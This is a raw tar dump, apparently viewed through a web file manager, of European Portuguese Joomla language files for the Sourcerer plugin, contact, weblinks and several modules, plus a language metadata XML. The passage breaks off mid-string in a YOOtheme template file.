File manager - Edit - /home/opticamezl/www/newok/pt-PT.tar
Back
pt-PT.plg_system_sourcerer.ini 0000604 00000022562 15173031546 0012477 0 ustar 00 ;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="Sistema - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" INSERT_CODE="Inserir Código" ; SOURCERER_DESC="<p>The Sourcerer plugin handles all the Sourcerer syntax tags in your site.</p><p>You can place your html, javascript, css and php code (including their own tags) inside the Sourcerer tags:<br><span class="rl-code rl-code-block">{source}Your code{/source}</span></p>" SRC_EXTENSION_CAN_NOT_FUNCTION="O [[%1:extension name%]] não pode funcionar." SRC_REGULAR_LABS_LIBRARY_NOT_ENABLED="O plugin Regular Labs Library não está ativado." SRC_REGULAR_LABS_LIBRARY_NOT_INSTALLED="Plugin do Framework Regular Labs não está instalado." COM_PLUGINS_SRC_SECURITY_SETTINGS_ARTICLES_FIELDSET_LABEL="Segurança - Artigos" COM_PLUGINS_SRC_SECURITY_SETTINGS_COMPONENTS_FIELDSET_LABEL="Segurança - Componentes" COM_PLUGINS_SRC_SECURITY_SETTINGS_DEFAULT_FIELDSET_LABEL="Segurança - Padrão" COM_PLUGINS_SRC_SECURITY_SETTINGS_OTHER_AREAS_FIELDSET_LABEL="Segurança - Outras áreas" SRC_ALLOW_CSS_TAGS="Permitir etiquetas CSS" ; SRC_ALLOW_CSS_TAGS_DESC="If enabled, CSS (style & link) tags are permitted within the Sourcerer tags. Otherwise the CSS tags (and the CSS code within) will be stripped." SRC_ALLOW_JAVASCRIPT_TAGS="Permitir etiquetas JavaScript" ; SRC_ALLOW_JAVASCRIPT_TAGS_DESC="If enabled, JavaScript (script) tags are permitted within the Sourcerer tags. Otherwise the JavaScript tags (and the JavaScript code within) will be stripped." SRC_ALLOW_PHP_TAGS="Permitir etiquetas PHP" ; SRC_ALLOW_PHP_TAGS_DESC="If enabled, PHP tags are permitted within the Sourcerer tags. Otherwise the PHP tags (and the PHP code within) will be stripped." ; SRC_BODY_AFTER="End of HTML body" ; SRC_BODY_BEFORE="Before HTML body" SRC_CODE="Código" ; SRC_CODE_DESC="You can enter your HTML, CSS, JavaScript and/or PHP code in the field below." ; SRC_CODE_PLACEMENT="Placement" ; SRC_CODE_PLACEMENT_DESC="Select whether to load the code in the html head or inline where you place this the Sourcerer tag." SRC_CODE_POSITION="Posição" ; SRC_CODE_POSITION_DESC="Set the position in the html to place the code." ; SRC_CODE_REMOVED_NOT_ALLOWED="The [[%1:code type%]] code has been removed, because [[%1:code type%]] is not allowed here." SRC_CODE_REMOVED_NOT_ENABLED="O código foi removido porque o Sourcerer não está ativado aqui." ; SRC_CODE_REMOVED_SECURITY="The %s code has been removed, because the owner of this article does not pass the security level." ; SRC_COLOR_CODE="Color Code" ; SRC_COLOR_CODE_DESC="Select to have the editor button add colors to the code when inserting it into the editor." SRC_CSS="CSS" ; SRC_CSS_CODE_DESC="The CSS code will be added to the Head of the HTML document." ; SRC_CSS_FILE_DESC="The CSS file will be added to the Head of the HTML document." SRC_CSS_SECURITY_LEVEL="Nível de segurança CSS" SRC_CSS_SECURITY_LEVEL_DESC="Define o nível de segurança. Etiquetas CSS (e o código dentro delas) serão retiradas de artigos com um proprietário (autor) inferiores a este nível de grupo. Se a segurança geral estiver definida para um nível maior, anulará esta definição." SRC_DEFAULTS="Padrões" SRC_DEFAULTS_DESC="Estas definições têm efeito sobre as configurações iniciais quando abre a janela de Ajuda de Código do Sourcerer." ; SRC_DISABLE_ON_COMPONENTS_DESC="Select which components NOT to enable Sourcerer in. This is a list of your installed frontend components." SRC_ENABLE_IN_ARTICLES_DESC="Selecione se pretende permitir o uso de sintaxe em artigos." SRC_ENABLE_IN_COMPONENTS_DESC="Selecione se pretende permitir o uso de sintaxe em componentes." ; SRC_ENABLE_IN_HEAD="Enable in Head" ; SRC_ENABLE_IN_HEAD_DESC="Select to also handle the Sourcerer tags inside the document head section of the page. If unselected, any Sourcerer tags found in the head will get removed (together with any code inside them)." ; SRC_ENABLE_OTHER_AREAS_DESC="Select whether to enable the use of the syntax in all remaining areas, like the modules and the document head." SRC_EXAMPLE_CODE="Código exemplo" SRC_EXAMPLE_CODE_DESC="Aqui você pode colocar o código de exemplo que quer ver colocado dentro das etiquetas do Sourcerer. Se deixar este campo em branco e o guardar, este campo será redefinido para o código de exemplo padrão." SRC_EXTRA_FORBIDDEN_HTML_TAGS="Etiquetas extra proibidas (HTML)" ; SRC_EXTRA_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags to add to the forbidden list (see Default settings)" SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS="Funções adicionais PHP proibidas" ; SRC_EXTRA_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions to add to the forbidden list (see Default settings)" ; SRC_EXTRA_TABS_DESC="Or use the extra tabs to help you insert specific CSS, JavaScript and PHP files and code." ; SRC_FILE="File" SRC_FORBIDDEN_HTML_TAGS="Etiquetas proibidas (HTML)" ; SRC_FORBIDDEN_HTML_TAGS_DESC="A comma separated list of tags that are forbidden. These tags will be stripped, and also any code in between double tags." SRC_FORBIDDEN_PHP_FUNCTIONS="Funções PHP proibidas" ; SRC_FORBIDDEN_PHP_FUNCTIONS_DESC="A comma separated list of PHP functions that are forbidden. The whole PHP block of code will not be executed if it contains any of these functions." ; SRC_HTML_HEAD="HTML Head" SRC_INCLUDE_PATH="Incluir caminho" ; SRC_INCLUDE_PATH_DESC="The path (relative to the root folder) to use when using the file attribute in the tag." ; SRC_INLINE="Inline" SRC_INSERT="Inserir" SRC_JAVASCRIPT="JavaScript" SRC_JAVASCRIPT_SECURITY_LEVEL="Nível de segurança JavaScript" ; SRC_JAVASCRIPT_SECURITY_LEVEL_DESC="Set the level of security. JavaScript tags (and the JavaScript code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." ; SRC_JS_FILE_ASYNC="Async" ; SRC_JS_FILE_ASYNC_DESC="Select to make the javascipt file run asynchronously as soon as it is available." ; SRC_JS_FILE_DEFER="Defer" ; SRC_JS_FILE_DEFER_DESC="Select to make the javascipt file run after the page has loaded." ; SRC_JS_FILE_DESC="The JavaScript file will be added to the Head of the HTML document." SRC_ONLY_IN_ADMINISTRATOR="Apenas no Administrador" SRC_PHP="PHP" ; SRC_PHP_CODE_DESC="The <span class="rl-code">&lt;?php ... ?&gt;</span> will be added automatically, so you should not add them to your code." ; SRC_PHP_CODE_REMOVED_FORBIDDEN="The PHP code has been removed, because it contains forbidden PHP functions" SRC_PHP_FORBIDDEN="O código PHP contém funções PHP proibidas" ; SRC_PHP_INCLUDE_METHOD="Include Method" ; SRC_PHP_INCLUDE_METHOD_DESC="Select the way to load in the php file." SRC_PHP_SECURITY_LEVEL="Nível de segurança PHP" ; SRC_PHP_SECURITY_LEVEL_DESC="Set the level of security. PHP tags (and the PHP code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." ; SRC_RAW="Raw Code" ; SRC_RAW_DESC="Not using a WYSIWYG editor? Select to prevent Sourcerer from stripping the HTML code." ; SRC_REMOVE_FROM_SEARCH="Remove from search" ; SRC_REMOVE_FROM_SEARCH_DESC="Select to remove the Sourcerer tags and content from the search results." SRC_SECURITY_LEVEL="Nível de segurança" ; SRC_SECURITY_LEVEL_DESC="Set the level of security. Sourcerer tags will be stripped from articles where the an owner (creator) is not a member of these groups." ; SRC_SECURITY_SETTINGS_ARTICLES_DESC="These settings have effect on Articles and Categories.<br>The security settings only have effect on articles." ; SRC_SECURITY_SETTINGS_COMPONENTS_DESC="These settings have effect on the component area.<br>You can select in which components Sourcerer should not be enabled. Advise is to not allow Sourcerer in components that non-backend users can post content in." ; SRC_SECURITY_SETTINGS_DEFAULT_DESC="Here you can set what kind of code can be used within the Sourcerer tags. All code that is not permitted will be stripped away. For more precise settings, see the other Security tabs." ; SRC_SECURITY_SETTINGS_OTHER_AREAS_DESC="These settings have effect on the areas outside the component area (so in Modules and the rest of the website)." SRC_SHOW_WIZARD="Mostrar Assistente" SRC_SYNTAX_WORD="Etiqueta Sourcerer para palavra" ; SRC_SYNTAX_WORD_DESC="This defines the word to use as the Sourcerer syntax tag.<br><br>Default is 'source'. Which means the tags to use are: <span class="rl-code">{source}...{/source}</span>" ; SRC_TAG_ATTRIBUTES="Tag Attributes" ; SRC_TAG_ATTRIBUTES_DESC="Enter any attributes you want to add inside the Sourcerer tag itself." SRC_TAG_REMOVED_FORBIDDEN="A tag (%s) foi removida, porque é proibida." ; SRC_TAG_SETTINGS="Tag Settings" ; SRC_TEMP_PATH="Temporary File Folder" ; SRC_TEMP_PATH_DESC="Please specify a writable folder to store temporary files.<br>Leave empty to use the Joomla global Temp Folder." ; SRC_TRIM="Strip surrounding HTML tags" ; SRC_TRIM_DESC="Select to make Sourcerer remove the surrounding paragraph tags (or span tags)." pt-PT.plg_system_sourcerer.sys.ini 0000604 00000001052 15173031546 0013303 0 ustar 00 ;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_SOURCERER="Sistema - Regular Labs - Sourcerer" PLG_SYSTEM_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" pt-PT.plg_editors-xtd_sourcerer.sys.ini 0000604 00000001063 15174274413 0014232 0 ustar 00 ;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Botão - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" pt-PT.plg_editors-xtd_sourcerer.ini 0000604 00000001574 15174274413 0013424 0 ustar 00 ;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Botão - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" CODE="Código" SOURCERER_DESC="Com o botão de editor do Sourcerer pode facilmente colocar um código (com as etiquetas e estilos Sourcerer) no seu texto." SRC_SETTINGS="Por favor, veja o [[%1:start link%]]sistema de plugin Sourcerer[[%2:end link%]] para configurações." SRC_THE_SYSTEM_PLUGIN="o sistema de plugin Sourcerer" pt-PT.mod_articles_news.sys.ini 0000604 00000000710 15174407616 0012533 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_NEWS="Artigos - Notícias rápidas" MOD_ARTICLES_NEWS_XML_DESCRIPTION="O módulo de Notícias rápidas exibirá um número fixo de artigos de uma categoria específica." MOD_ARTICLES_NEWS_LAYOUT_DEFAULT="Padrão" pt-PT.com_contact.ini 0000604 00000006516 15174407616 0010520 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT_ADDRESS="Morada" COM_CONTACT_ARTICLES_HEADING="Artigos do Contacto" COM_CONTACT_CAPTCHA_LABEL="Captcha" COM_CONTACT_CAPTCHA_DESC="Por favor, complete a verificação de segurança." COM_CONTACT_CAT_NUM="Qtd. contactos:" COM_CONTACT_CONTACT_DEFAULT_LABEL="Enviar email" COM_CONTACT_CONTACT_EMAIL_A_COPY_DESC="Envia uma cópia da mensagem para o endereço fornecido." COM_CONTACT_CONTACT_EMAIL_A_COPY_LABEL="Enviar cópia para mim" COM_CONTACT_CONTACT_EMAIL_NAME_DESC="O seu nome" COM_CONTACT_CONTACT_EMAIL_NAME_LABEL="Nome" COM_CONTACT_CONTACT_ENTER_MESSAGE_DESC="Escreva aqui a sua mensagem." COM_CONTACT_CONTACT_ENTER_MESSAGE_LABEL="Mensagem" COM_CONTACT_CONTACT_ENTER_VALID_EMAIL="Por favor introduza um endereço de email válido." COM_CONTACT_CONTACT_REQUIRED="<strong class="_QQ_"red"_QQ_">*</strong> Campo obrigatório" COM_CONTACT_CONTENT_TYPE_CONTACT="Contacto" COM_CONTACT_CONTENT_TYPE_CATEGORY="Categoria do contacto" COM_CONTACT_FILTER_LABEL="Campo de filtro" COM_CONTACT_FILTER_SEARCH_DESC="Filtro de pesquisa de contactos" COM_CONTACT_CONTACT_MESSAGE_SUBJECT_DESC="Coloque um assunto para a sua mensagem." COM_CONTACT_CONTACT_MESSAGE_SUBJECT_LABEL="Assunto" COM_CONTACT_CONTACT_SEND="Enviar Email" COM_CONTACT_COPYSUBJECT_OF="Cópia de: %s" COM_CONTACT_COPYTEXT_OF="Esta é uma cópia da mensagem que enviou para %s via %s" COM_CONTACT_COUNT="Contagem de contactos:" COM_CONTACT_COUNTRY="País" COM_CONTACT_DEFAULT_PAGE_TITLE="Contactos" COM_CONTACT_DETAILS="Contacto" COM_CONTACT_DOWNLOAD_INFORMATION_AS="Descarregar dados como:" COM_CONTACT_EMAIL_BANNEDTEXT="O %s do seu email contém conteúdo não autorizado." COM_CONTACT_EMAIL_DESC="Email para contacto" COM_CONTACT_EMAIL_FORM="Formulário de contacto" COM_CONTACT_EMAIL_LABEL="Email" COM_CONTACT_EMAIL_THANKS="Obrigado pelo seu email." COM_CONTACT_ENQUIRY_TEXT="Formulário enviado via %s de:" COM_CONTACT_ERROR_CONTACT_NOT_FOUND="Contacto não encontrado" COM_CONTACT_FAX="Fax" COM_CONTACT_FAX_NUMBER="Fax: %s" COM_CONTACT_FORM_LABEL="Enviar um email. Todos os campos com um asterisco (*) são obrigatórios." COM_CONTACT_FORM_NC="Por favor, certifique-se que o formulário esteja corretamente preenchido." COM_CONTACT_IMAGE_DETAILS="Imagem do contacto" COM_CONTACT_LINKS="Sítios" COM_CONTACT_MAILENQUIRY="Pedido de %s" COM_CONTACT_MOBILE="Telemóvel" COM_CONTACT_MOBILE_NUMBER="Telemóvel: %s" COM_CONTACT_NO_CONTACTS="Não existem contactos para exibir" COM_CONTACT_NOT_MORE_THAN_ONE_EMAIL_ADDRESS="Não pode introduzir mais do que um endereço de email." COM_CONTACT_NUM_ITEMS="Quantidade de contactos:" COM_CONTACT_OPTIONAL="(opcional)" COM_CONTACT_OTHER_INFORMATION="Outras informações" COM_CONTACT_POSITION="Função" COM_CONTACT_PROFILE="Perfil" COM_CONTACT_PROFILE_HEADING="Perfil do contacto" COM_CONTACT_SELECT_CONTACT="Escolher um contacto:" COM_CONTACT_SESSION_INVALID="Cookie de sessão inválida. Por favor, verifique se tem os Cookies ativados no seu navegador web." COM_CONTACT_STATE="Distrito" COM_CONTACT_SUBURB="Localidade" COM_CONTACT_TELEPHONE="Telefone" COM_CONTACT_TELEPHONE_NUMBER="Telefone: %s" COM_CONTACT_USER_FIELDS="Campos" COM_CONTACT_VCARD="vCard para agenda" pt-PT.mod_related_items.sys.ini 0000604 00000001661 15174407616 0012520 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_RELATED_ITEMS="Artigos - Relacionados" MOD_RELATED_XML_DESCRIPTION="Este módulo exibe artigos relacionados com o que está a ser visualizado. Estas relações são estabelecidas por termos-chave. <br />Todos as palavras-chave deste artigo são comparados com os termos-chave de todos os artigos publicados. Por exemplo, pode ter um artigo "_QQ_"Criação de papagaios"_QQ_" e outro "_QQ_"Catatuas criadas à mão"_QQ_". Se incluir o termo-chave "_QQ_"papagaio"_QQ_" nos dois artigos então o módulo de artigos relacionados irá exibir o artigo "_QQ_"Criação de papagaios"_QQ_" durante a visualização do artigo "_QQ_"Catatuas criadas à mão"_QQ_", e vice-versa." MOD_RELATED_ITEMS_LAYOUT_DEFAULT="Padrão" pt-PT.mod_tags_similar.sys.ini 0000604 00000001002 15174407616 0012342 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TAGS_SIMILAR="Etiquetas - Semelhantes" MOD_TAGS_SIMILAR_LAYOUT_DEFAULT="Padrão" MOD_TAGS_SIMILAR_XML_DESCRIPTION="O módulo de etiquetas semelhantes mostra ligações para outros itens com etiquetas semelhantes. Pode especificar o nível de correspondência entre as etiquetas." pt-PT.xml 0000604 00000001702 15174407616 0006241 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <metafile version="3.7" client="site"> <name>Portuguese (pt-PT)</name> <version>3.7.0.1</version> <creationDate>2017-04-26</creationDate> <author>Comunidade JoomlaPortugal</author> <authorEmail>comunidadejoomlapt@gmail.com</authorEmail> <authorUrl>www.joomlaportugal.org</authorUrl> <copyright>Direitos de Autor (C) 2005 - 2017 Open Source Matters. Todos os direitos reservados.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <description><![CDATA[Português de Portugal (pt-PT). Idioma de interface de sítio para Joomla 3.x]]></description> <metadata> <name>Portuguese (pt-PT)</name> <nativeName>Português de Portugal (pt-PT)</nativeName> <tag>pt-PT</tag> <rtl>0</rtl> <locale>pt_PT.utf8, pt_PT.UTF-8, pt_PT, pt, portuguese</locale> <firstDay>0</firstDay> <weekEnd>0,6</weekEnd> <calendar>gregorian</calendar> </metadata> <params /> </metafile> pt-PT.mod_users_latest.ini 0000604 00000001633 15174407616 0011576 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_USERS_LATEST="Utilizadores - Recentes" MOD_USERS_LATEST_FIELD_FILTER_GROUPS_DESC="Escolher para filtrar por grupos de utilizador ligados" MOD_USERS_LATEST_FIELD_FILTER_GROUPS_LABEL="Grupo de filtros" MOD_USERS_LATEST_FIELD_LINKTOWHAT_DESC="Escolha o tipo de informação a exibir" MOD_USERS_LATEST_FIELD_LINKTOWHAT_LABEL="Informação do Utilizador" MOD_USERS_LATEST_FIELD_NUMBER_DESC="Número a exibir de utilizadores registados recentemente" MOD_USERS_LATEST_FIELD_NUMBER_LABEL="Número de Utilizadores" MOD_USERS_LATEST_FIELD_VALUE_CONTACT="Contacto" MOD_USERS_LATEST_FIELD_VALUE_PROFILE="Perfil" MOD_USERS_LATEST_XML_DESCRIPTION="Este módulo exibe os últimos utilizadores registados" pt-PT.finder_cli.ini 0000604 00000002203 15174407616 0010312 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 FINDER_CLI="INDEXADOR de pesquisa inteligente" FINDER_CLI_BATCH_COMPLETE=" * lote processado %s em %s segundos" FINDER_CLI_FILTER_RESTORE_WARNING="Alerta: Não foi encontrada taxonomia %s/%s no filtro %s" FINDER_CLI_INDEX_PURGE="Limpar índice" FINDER_CLI_INDEX_PURGE_FAILED="- falha ao limpar índice." FINDER_CLI_INDEX_PURGE_SUCCESS="- índice limpo com sucesso." FINDER_CLI_PEAK_MEMORY_USAGE="Pico de uso de memória: %s bytes" FINDER_CLI_PROCESS_COMPLETE="Tempo de processamento total: %s segundos." FINDER_CLI_RESTORE_FILTER_COMPLETED="- número de filtros repostos: %s" FINDER_CLI_RESTORE_FILTERS="A repor filtros" FINDER_CLI_SAVE_FILTER_COMPLETED="- número de filtros guardados: %s" FINDER_CLI_SAVE_FILTERS="Guardando filtros" FINDER_CLI_SETTING_UP_PLUGINS="Configurar plugins de pesquisa inteligente" FINDER_CLI_SETUP_ITEMS="Configurados %s itens em %s segundos." FINDER_CLI_STARTING_INDEXER="A iniciar o indexador" pt-PT.mod_search.sys.ini 0000604 00000000547 15174407616 0011146 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SEARCH="Pesquisar" MOD_SEARCH_XML_DESCRIPTION="Este módulo exibe uma caixa de pesquisa" MOD_SEARCH_LAYOUT_DEFAULT="Padrão" pt-PT.mod_articles_categories.ini 0000604 00000003107 15174407616 0013072 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_CATEGORIES="Artigos - Categorias" MOD_ARTICLES_CATEGORIES_FIELD_COUNT_DESC="Escolha o número de subcategorias de primeiro nível a serem exibidas. O padrão é TODAS." MOD_ARTICLES_CATEGORIES_FIELD_COUNT_LABEL="Qtd. primeiras subcategorias" MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_DESC="Escolha o número máximo de níveis de profundidade para cada subcategoria. O padrão é TODAS." MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_LABEL="Profundidade máxima do nível" MOD_ARTICLES_CATEGORIES_FIELD_PARENT_DESC="Escolha uma categoria hospedeira" MOD_ARTICLES_CATEGORIES_FIELD_PARENT_LABEL="Categoria hospedeira" MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_DESC="Mostrar ou ocultar subcategorias." MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_LABEL="Mostrar subcategorias" MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_DESC="Mostrar ou Ocultar número de artigos" MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_LABEL="Mostrar número de artigos" MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_DESC="Mostrar ou ocultar as descrições das categorias." MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_LABEL="Descrições da categoria" MOD_ARTICLES_CATEGORIES_XML_DESCRIPTION="Este módulo mostra uma lista de categorias de uma categoria hospedeira." MOD_ARTICLES_CATEGORIES_TITLE_HEADING_LABEL="Estilo do título" MOD_ARTICLES_CATEGORIES_TITLE_HEADING_DESC="Definir estilo do título a usar" pt-PT.lib_idna_convert.sys.ini 0000604 00000001157 15174407616 0012341 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 LIB_IDNA="Conversão IDNA" LIB_IDNA_XML_DESCRIPTION="A classe idna_convert permite converter nomes de domínio internacionalizados (ver detalhes nas RFC 3490, 3491, 3492 e 3454) já que podem ser utilizados com vários sítios de registo em todo mundo para serem traduzidos entre a sua forma original (localizada) e a sua codificação tal como será utilizada pelo DNS (Domain Name System)." pt-PT.com_weblinks.ini 0000604 00000004664 15174407616 0010705 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS_CAPTCHA_LABEL="Captcha" COM_WEBLINKS_CAPTCHA_DESC="Por favor, complete a verificação de segurança." COM_WEBLINKS_CONTENT_TYPE_WEBLINK="Marcador Web" COM_WEBLINKS_CONTENT_TYPE_CATEGORY="Categoria da hiperligação" COM_WEBLINKS_DEFAULT_PAGE_TITLE="Marcadores Web" COM_WEBLINKS_EDIT="Editar marcador" COM_WEBLINKS_ERR_TABLES_NAME="Já existe um sítio com esse nome nesta categoria. Altere e tente de novo." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Por favor forneça um URL válido" COM_WEBLINKS_ERR_TABLES_TITLE="O sítio deve conter um título." COM_WEBLINKS_ERROR_CATEGORY_NOT_FOUND="Categoria de marcadores Web não encontrada." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Outro sítio, nesta categoria, possui o mesmo nome alternativo (pode até estar na reciclagem)." COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND="Sítio não encontrado" COM_WEBLINKS_ERROR_WEBLINK_URL_INVALID="URL do sítio inválido" COM_WEBLINKS_FIELD_ALIAS_DESC="O nome alternativo destina-se a uso interno. Se deixar em branco o Joomla adicionará um valor padrão a partir do título. Tem de ser único para cada hiperligação da mesma categoria" COM_WEBLINKS_FIELD_CATEGORY_DESC="Deve escolher uma categoria." COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Insira uma descrição para o sítio" COM_WEBLINKS_FILTER_LABEL="Campo de filtro" COM_WEBLINKS_FILTER_SEARCH_DESC="Filtro de pesquisa de sítios" COM_WEBLINKS_FIELD_TITLE_DESC="A sua sugestão deve ter um título" COM_WEBLINKS_FIELD_URL_DESC="Deve indicar um URL válido" COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FORM_CREATE_WEBLINK="Sugerir um sítio" COM_WEBLINKS_GRID_TITLE="Título" COM_WEBLINKS_LINK="Marcador Web" COM_WEBLINKS_NAME="Nome" COM_WEBLINKS_NO_WEBLINKS="Não existem sítios nesta categoria" COM_WEBLINKS_NUM="Qtd. marcadores:" COM_WEBLINKS_NUM_ITEMS="Ligações nas categorias" COM_WEBLINKS_FORM_EDIT_WEBLINK="Editar um sítio" COM_WEBLINKS_FORM_SUBMIT_WEBLINK="Sugerir um sítio" COM_WEBLINKS_SAVE_SUCCESS="Sítios gravado com sucesso" COM_WEBLINKS_SUBMIT_SAVE_SUCCESS="Sítio enviado com sucesso" COM_WEBLINKS_WEB_LINKS="Marcadores Web" JGLOBAL_NEWITEMSLAST_DESC="Por padrão, os novos marcadores serão posicionados na última posição. A ordenação pode ser alterada depois deste marcador ser guardado." pt-PT.mod_tags_similar.ini 0000604 00000003021 15174407616 0011530 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TAGS_SIMILAR="Etiquetas - Semelhantes" MOD_TAGS_SIMILAR_FIELD_ALL="Todas" MOD_TAGS_SIMILAR_FIELD_HALF="Metade" MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_DESC="O quanto um item de etiquetas tem de ser compatível. TODOS - implica que todas as etiquetas combinem. QUALQUER - implica que pelo menos uma combine. METADE - implica que pelo menos metade das etiquetas combinem (arredondado para cima no caso de decimais)." MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_LABEL="Tipo de correspondência" MOD_TAGS_SIMILAR_FIELD_ONE="Qualquer" MOD_TAGS_SIMILAR_LAYOUT_DEFAULT="Padrão" MOD_TAGS_SIMILAR_MAX_DESC="Número máximo de itens a exibir." MOD_TAGS_SIMILAR_MAX_LABEL="Número máximo de itens" MOD_TAGS_SIMILAR_NO_MATCHING_TAGS="Sem etiquetas correspondentes" MOD_TAGS_SIMILAR_XML_DESCRIPTION="O módulo de etiquetas semelhantes mostra ligações para outros itens com etiquetas semelhantes. Pode especificar o nível de correspondência entre as etiquetas." MOD_TAGS_SIMILAR_FIELD_ORDERING_LABEL="Ordenar Resultados" MOD_TAGS_SIMILAR_FIELD_ORDERING_DESC="Escolha a ordem em que pretende mostrar a consulta" MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT="Número de etiquetas correspondentes" MOD_TAGS_SIMILAR_FIELD_ORDERING_RANDOM="Aleatório" MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT_AND_RANDOM="Número de etiquetas de correspondência e aleatórias" pt-PT.mod_custom.sys.ini 0000604 00000000631 15174407616 0011205 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Personalizado" MOD_CUSTOM_XML_DESCRIPTION="Este módulo permite-lhe escrever o seu próprio módulo utilizando um editor WYSIWYG." MOD_CUSTOM_LAYOUT_DEFAULT="Padrão" pt-PT.tpl_yootheme.ini 0000604 00000001473 15174407616 0010734 0 ustar 00 ; Copyright (C) YOOtheme GmbH ; Note : All ini files need to be saved as UTF-8 TPL_YOOTHEME_MENU="Menu" TPL_YOOTHEME_META_AUTHOR="Escrito por %s." TPL_YOOTHEME_META_AUTHOR_DATE="Escrito por %s em %s." TPL_YOOTHEME_META_CATEGORY="Publicado em %s." TPL_YOOTHEME_META_DATE="Escrito em %s." TPL_YOOTHEME_META_DATE_CREATED="Criado em %s." TPL_YOOTHEME_META_DATE_MODIFIED="Última atualização em 